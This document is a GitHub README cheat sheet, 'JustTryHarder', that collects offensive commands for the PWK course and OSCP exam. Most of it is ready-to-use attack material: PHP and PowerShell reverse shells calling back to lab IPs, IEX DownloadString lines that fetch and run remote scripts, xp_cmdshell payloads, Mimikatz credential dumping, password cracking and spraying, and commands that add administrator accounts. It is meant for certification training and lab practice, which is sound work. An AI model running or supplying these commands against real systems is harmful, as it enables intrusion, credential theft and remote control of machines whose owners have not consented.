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TheJ0ker9 / JustTryHarder

JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam. (Inspired by PayloadAllTheThings)

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JustTryHarder

JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam.

(Inspired by PayloadAllTheThings)

Feel free to submit a Pull Request & leave a star to share some love if this helped you. 💖

Disclaimer: none of the below includes spoilers for the PWK labs / OSCP Exam.

Credit Info: I have obtained a lot of this info through other Github repos, blogs, sites and more. I have tried to give as much credit to the original creator as possible, if I have not given you credit please contact me on Twitter: https://twitter.com/s1nfulz

Active Directory & Domain Controllers

  • WIP

BOF (WIP)

(Bad Characters: 0x00, 0x0A)

  • Fuzzing
  • Finding eip position
  • Finding bad chars
  • Locating jmp esp
  • Generating payload with msfvenom
  • Getting reverse shell with netcat

DNS - Zone Transfers

  • host -t axfr HTB.local 10.10.10.10
  • host -l HTB.local 10.10.10.10
  • host -l
  • dig @ axfr

File Transfers

#Wget Transfer How to retrieve file(s) from host (inside a reverse shell)

1. Place file you want transferred in /var/www/html/
2. # service apache2 start
3. # wget http://10.10.10/pspy64 <- for single file
4. # wget -r http://10.10.10.10/pspy64/ <- for folder

#TFTP Transfer (How to transfer from Kali to Windows) Using MSF. Start MSF before starting these steps:

1. use auxiliary/server/tftp
2. set TFTPROOT /usr/share/mimikatz/Win32/
3. run
4. tftp -i 10.10.10.10 GET mimikatz.exe

#NC (Windows to Kali)

Windows:
1. nc -nv 10.11.0.61 4444 < bank-account.zip

Linux:
2. nc -nlvp 4444 > bank-account.zip

#Powershell

1. Invoke-WebRequest -Uri http://127.0.0.1/exploit.py -OutFile C:\Users\Victim\exploit.py

Without an interactive powershell session:

1. Create wget.ps1
   $client = New-Object System.Net.WebClient
   $path = "C:\path\to\save\file.txt"
   $client.DownloadFile($url, $path)

#Base64

local system:
1. cat exploit.py | base64

victim:
2. echo "base64string==" | base64 -d >> exploit.py

#Certutil

local system (either python2/3):
1. python -m SimpleHTTPServer 80
1b. python3 -m http.server 80

victim:
2. certutil.exe -urlcache -split -f "http://ip.for.kali.box/file-to-get.zip" name-to-save-as.zip

Kerberoasting

LFI / RFI

  • _<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'");
  • _<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
  • Refer to LFI / RFI section at the top of the page ^^

MSSQL / SQLi

Password Cracking

#Hashcat

  • user:$1$AbCdEf123/:16903:0:99999:7:::
  • hashcat -m 500 -a 0 -o cracked_password.txt --force MD5_hash.txt /usr/share/wordlists/rockyou.txt

#John

  • user:$1$AbCdEf123/:16903:0:99999:7:::
  • john --rules --wordlist=/usr/share/wordlists/rockyou.txt MD5_hash.txt

Password Spraying (CrackMapExec)

cme smb 10.10.10.10 -u username -d domain -p password

Payload Generation

PHP

Priv Esc - Linux

If GCC & wget is installed, the system MIGHT be vulnerable to a kernel exploit

Priv Esc - Windows

Post Exploitation

  1. Mimikatz.exe (run it)
  2. privilege::debug
  3. sekurlsa::logonpasswords

Port Forwarding

#Chisel

#Plink

#SSH

  • ssh root@10.10.10.10 -R 1234:127.0.0.1:1234

Port Scanning

#TCP

  • reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
  • nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
  • nmap -sT -p 22,80,110 -A
  • nmap -p- -iL ips.txt > TCP_Ports.txt

#UDP (can take hours so maybe netstat is a better alternative)

  • nmap -sU --top-ports 10000
  • nmap -sT -sU -p 22,80,110 -A
  • nmap -sT -sU -p- --min-rate 2000
  • nmap -p- -sU -iL ips.txt > udp.txt
  • nmap -sU -sV -iL ips.txt > alludpports.txt

#SNMP nmap -p161 -sU -iL ips.txt > udp.txt (cmd could be wrong, double check)

#SSH nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt

#SSL nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt

Ping Sweep

Linux (basic one liners)

  • for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
  • fping -g 192.168.0.1/24

Linux (script)

for i in `seq 1 255`
do
    ping -c1 192.168.125.$i 2>/dev/null 1>&2
    if [[ $? -eq 0 ]]
    then
        echo 192.168.125.$i is up
    fi
done

Windows (cmd)

  • for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.

Windows (PowerShell)

  • $ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }

Nmap

  • nmap -sP 192.168.0.1-254

Pivoting

  • sshuttle -r user@10.10.10.10 10.1.1.0/24

Remote Desktop

  • rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/
  • xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore

Responder

  • responder -I tun0 -wrF

Reverse Shells

#Linux

#Windows

Shell Upgrading

Source: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ & https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell

Socks Proxy (using PowerShell)

#Local

  • vi /etc/proxychains.conf
  • socks5 9080
  • Import-Module .\Invoke-SocksProxy.psm1
  • Invoke-SocksProxy -bindPort 9080
  • proxychains nmap -sT

SQL Injection (SQLmap)

Python

  1. python -c 'import pty;spawn("/bin/bash");' or
  2. python3 -c 'import pty;spawn("/bin/bash");'
  3. In reverse shell:
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

- In Kali

3. stty raw -echo
4. fg

- In reverse shell
5. reset (sometimes optional)
6. export SHELL=bash
7. export TERM=xterm-256color
8. stty rows <num> columns <cols> (optional)
(Sometimes the command will need to be executed: export TERM=xterm)

Using socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Perl

  1. perl -e 'exec "/bin/sh";'
  2. perl: exec "/bin/sh";

Bash

/bin/sh -i

Show listening ports

  • Linux netstat syntax

    1. netstat -tulpn | grep LISTEN

  • FreeBSD/MacOS X netstat syntax

    1. netstat -anp tcp | grep LISTEN
    2. netstat -anp udp | grep LISTEN

  • OpenBSD netstat syntax

    1. netstat -na -f inet | grep LISTEN
    2. netstat -nat | grep LISTEN

  • Nmap scan syntax

    1. sudo nmap -sT -O localhost
    2. sudo nmap -sU -O 192.168.2.13 ##[ list open UDP ports ]##
    3. sudo nmap -sT -O 192.168.2.13 ##[ list open TCP ports ]##

SMB - Enumeration

SMB - Impacket

  • Impacket's PSEXEC (After creating a remote port fwd) /usr/share/doc/python-impacket/examples/psexec.py user@10.10.10.10

Password: (password)

[*] Trying protocol 445/SMB...

  • Impacket's SMBServer (For File Transfer)
  1. cd /usr/share/windows-binaries
  2. python /usr/share/doc/python-impacket/examples/smbserver.py a .
  3. \\10.10.10.10\a\mimikatz.exe

SMTP Enumeration

https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt

ICMP Injection

  1. ping -n 3 10.10.10.10
  2. tcpdump -i tun0 icmp

VMware (not going full screen)

  • systemctl restart open-vm-tools.service

Web Servers:

  • python -m SimpleHTTPServer 80
  • python3 -m http.server 80
  • ngrok http "file:///C:\Users\sinfulz\Public Folder"
  • php -S 0.0.0.0:80

Web Scanning:

#Web Scanning with extensions


Linux (Example web server might be Apache)
gobuster dir -e -u http://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401

Windows (Example web server might be IIS)

gobuster dir -e -u http://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401

Linux (Example web server might be Apache) 

python3 dirsearch.py -r -u http://10.10.10.131/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50

Windows (Example web server might be IIS)

python3 dirsearch.py -r -u http://10.10.10.131/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50

#HTTP

  • gobuster dir -u http://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69
  • gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69

#HTTPS

  • gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69 (in some cases --wildcard will need to be used instead of -k)

#Nikto

  • nikto -h 10.10.10.10 -p 80

#Nikto HTTPS

  • nikto -h 10.10.10.10. -p 443

WFuzz

Web Shells

WordPress

Windows Framework / Powershell

bypass PowerShell execution policy

  • Bypassing execution policy and executing a script: powershell -ExecutionPolicy ByPass -File script.ps1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • If one has a Command Prompt shell, this will grab PowerUp from a local web server and run it on the compromised shell:
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10:80/PowerUp.ps1') | powershell -noprofile -

IEX(New-object Net.WebClient).DownloadString('http://10.10.10.10:80/PowerUp.ps1')


powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('http://10.10.14.x/Whatever.ps1'); Invoke-Whatever"
  • Reverse Powershell using mssql:
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"http://10.10.10.10/Nishang-ReverseShell.ps1\")
  • File transfer with PowerShell:
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')`

Windows Post Exploitation Commands

  • WMIC USERACCOUNT LIST BRIEF
  • net user
  • net localgroup Users
  • net localgroup Administrators
  • net user USERNAME NEWPASS /add
  • net user "USER NAME" NEWPASS /add
  • net localgroup administrators USERNAME /add

Writeable Directories (Work in progress)

Windows

  • C:\Windows\System32\Spool\Drivers\color
  • C:\windows\tracing
  • C:\windows\tasks
  • C:\windows\system32\microsoft\crypto\rsa\machinekeys

Linux

  • To find World Writeable Directories in Linux use the command: find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print

Thank you:

Thanks to these people for including my cheatsheet on their site/page:

About

JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam. (Inspired by PayloadAllTheThings)

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